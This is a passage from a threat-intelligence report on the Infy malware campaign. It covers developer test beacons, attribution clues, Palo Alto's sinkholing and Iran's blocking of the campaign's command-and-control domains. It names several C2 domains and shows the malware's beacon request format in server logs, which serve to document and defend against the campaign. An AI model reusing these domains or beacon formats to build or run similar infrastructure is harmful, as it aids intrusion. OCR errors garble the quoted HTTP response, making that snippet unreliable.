length of time. Typically these hosts have the same generic system information, likely virtual machines
dedicated to testing of the agent, and have mistakes in their operation. Those clients then stop responding
around the time that other systems from a heterogeneous set of locations and machine names begin to
register, indicating that the version has been pushed out to the public.

Our dataset covers three testing and deployment cycles of versions of the Infy agent.

Version = Tested on Released

29 3 January 2016 13 January 2016
30 2 February 2016 = 21 February 2016
31 1 May 2016 ?

The following are the computer names and [P addresses of the beacons we believe to belong from
developers of the Infy malware, performed in the aforementioned testing cycles:

Hostname Version @ Seen IP(s) Location(s)

FERDOWSI 29 13/1/2016 2.180.157 xxx Khorasan Razavi, Iran

31.14.152.xxx

5.232.90.xxx

46.100.135.xxx

2.180.92.xxx

5.222.214.xxx

2.182.52.xxx

2.180.143.xxx

65.49.68.xxx
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DESKTOP-TFG03B1 30 2/2/2016 192.99.220.xxx Khorasan Razavi, Iran
5.232.151.xxx
5.232.157.xxx

DESKTOP-TFG03B1 29 9/1/2016 2.180.96.xxx Mashhad, Khorasan Razavi, Iran
5.232.135.xxx
5.232.140.xxx
5.232.136.xxx
5.232.143.xxx

WIN-A2HDDI940BE 29 12/1/2016 192.99.220.xxx Canada (OVH)
WIN-SLRJHLCR4VK 30 20/2/2016 5.232.154.xxx Khorasan Razavi, Iran
USER1-DA087865E 31 1/5/2016 217.172.105.xxx Iran (Asiatech)
DESKTOP-TFG03B1 31 1/5/2016 217.172.105.xxx Iran (Asiatech)

Other names and references to the infrastructure maintained by Infy, or used in communications with
targets, suggest pseudonyms or identities of the culprits, as well as their origin or political disposition. In
the series of spearphishing attempts against Persian-language media figures conducted prior to the June
2013 election, the phrase Baran Omid was used consistently, either the name of a woman or the phrase
“Rain of Hope.” The word, Baran, would also arise in the executable extracted by earlier versions of the
malware “C__ Users _baran_AppData Local Temp_ done[l].exe.” In metadata documents that served as
malware vectors, we also find document author names of ‘baran.”*

In later versions of Infy documents, the authorship information is set to ‘ya zahra’ and ‘ya husein’ --
expressions that maintain Shi’a religious connotations referring to the wife of Ali and daughter of
Mohammad, and Ali’s martyred son, respectively.

Response to Publication

On May 2, 2016, Palo Alto Networks published the report “Prince of Persia,” which provided the first
public and widely-reported indication of Infy’s activities in Iran, while other publications either refrained
from making the association or were not openly available. By May 12,*' Palo Alto began to sinkhole the
primary command and control infrastructure, which combined with the prior registration of the DGA
resources, severely inhibited the continued operation of the Infy campaign. However, within this struggle
to maintain access, additional incidents of note occurred.

Firstly, actions taken by telecommunications regulators in Iran indicate either an intervention to end
operation of the Infy network or an attempt to interfere with further research. As of June 2016, a subset of
the domains identified in the operations of the Infy campaigns were specifically inaccessible inside of
Iran, aside from their being sinkholed to Shadowserver or directed to localhost.”* This unavailability is the

30 June 12, 2013 (49664169885d40c6913378ac264afd2a)

31 As provided by Palo Alto

32 bestbox3.com, bestupdateserver.com, bestupdateserver2.com, updatebox4.com, updateserverl.com,
updateserver3.com, youripinfo.com
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result of the content filtering mechanism imposed by the Iranian government blocking access to the
sinkhole through DNS tampering and HTTP filtering. The restrictions on Infy are explicitly targeted
against requests for command and control domain names identified in the Palo Alto report. This filtering
is conducted at the primary international gateway maintained by the Telecommunication Company of Iran
(AS12880), and as a result prevents further communications from the clients in Iran.

> Host: updateserver3.com
>

< HTTP/ 1.1 403 For bi dden -

<ht ml ><head><net a

ht t p- equi v="Cont ent - Type"
content="text/htnl;

char set =wi ndows- 1256" ><ti t | e>FR1L6
</titl e></head><body><i frane
src="http://10. 10. 34. 34?type=lnval i d
Site&policy=Mai nPolicy " style="width:
100% hei ght: 100% scrolling="no" : s
nmar gi nwi dt h="0" mar gi nhei ght =" 0"
framebor der =" 0" vspace="0"
hspace="0"></i f rane></ body></ ht m >

This is a unique phenomenon. Other domains from Palo Alto reports unrelated to Iran do not appear to
have been blocked, nor have domains connected to other Iranian intrusion campaigns such as Flying
Kitten or Cleaver. It appears that this unique action occurred after Palo Alto’s report, for reasons that are
not immediately clear. The filtering policy indicates that Iranian authorities had specifically intervened to
block access to the command and control domains of a state-aligned intrusion campaign at a country
level.

Concurrently, the sinkhole of campaign resources set off a struggle to regain control of the clients and
shift command infrastructure to alternative providers with new hostnames. Palo Alto began to disrupt
access to Infy’s primary domain names on a Thursday, the Iranian weekend. It was not until the start of
the Iranian work week, the morning of Saturday, May 14, that the Infy actors appeared to notice the loss
of their network and then the registration of the DGA. In their reaction and investigation, the developers
again exposed their original IP addresses, as they attempted to investigate the nature of the DGA domains
that had been registered (again from the Razavi Khorasan province). Only at the moment that the backup
domains were needed most did the actors notice their unavailability, nearly six months after we silently
began our sinkholing operation.

5.232.158. XXX - - [14/May/2016:03:55:22 -0400] "GET
/themes/?tt=csdkjchskdjchskd&cn=cdskh&ver=&lfolder&machineguid=ckshdcksjdchkd HTTP/1.1" 404 233 "-" "Mozilla/5.0 (Windows NT
6.1; Trident/7.0; rv:11.0) like Gecko"

184.75.221. XXX - - [14/May/2016:12:35:32 -0400] "GET

/themes/?tt=csdkjchskdjchskd&cn=cdskh&ver=&lfolder&machineguid=ckshdcksjdchkd HTTP/1.1" 404 200 "-" "Mozilla/5.0 (Windows NT
6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2687.0 Safari/537.36 OPR/38.0.2205.0 (Edition developer)"
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192.99.220. XXX - - [14/May/2016:13:13:34 -0400] "GET
/themes/?tt=csdkjchskdjchskd&cn=cdskh&ver=&lfolder&machineguid=ckshdcksjdchkd HTTP/1.1" 404 142 "-" "Mozilla/5.0 (Windows NT
6.1; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0"

Despite the sinkhole actions and registrations of backup domains by researchers, the Infy actor group did
remain in control of a limited number of DGA names and other command and control resources. Based on
these names, and the limited window they afforded the actors, the Infy group was able to push down Infy
M to Infy clients in order to reassert control over a subset of the infected clients. These updates moved the
clients to an alternative set of names registered to the group, but did not remove the previous infections,
potentially leading to phenomena of clients infected with both versions of the client that was noted by
Palo Alto.

Palo Alto notes that in early June, the Infy actors had used command and control domain names and
addresses associated with an older version of Infy (versions 15 through 24) in order to push down a new
Infy M v. 8.0 client; an incident that represented their first observed transition from Infy to Infy M. Again
by June 12, the domain involved in this command and control function appears to have been sinkholed.
This was probably not the first time such an action occurred, and certainly not the last. In late June, the
Infy actors used their remaining DGA domains to push an additional version of Infy M (still 8.0) with
another domain name as the primary command and control (nstrad.dynu.com), which we were able to
sinkhole. However, by this point the attrition of repetitive migration appeared to have set in. Only one
client, based in Iran, continued to communicate with the infrastructure.

Infy (Unknown Variant) Post-Sinkhole Infections, June - July 2016

While researchers have been successful in redirecting and registering Infy hostname resources, at least a
subset of the clients appear to beacon to a remaining address despite the original name (uvpsl.cotbm.com)
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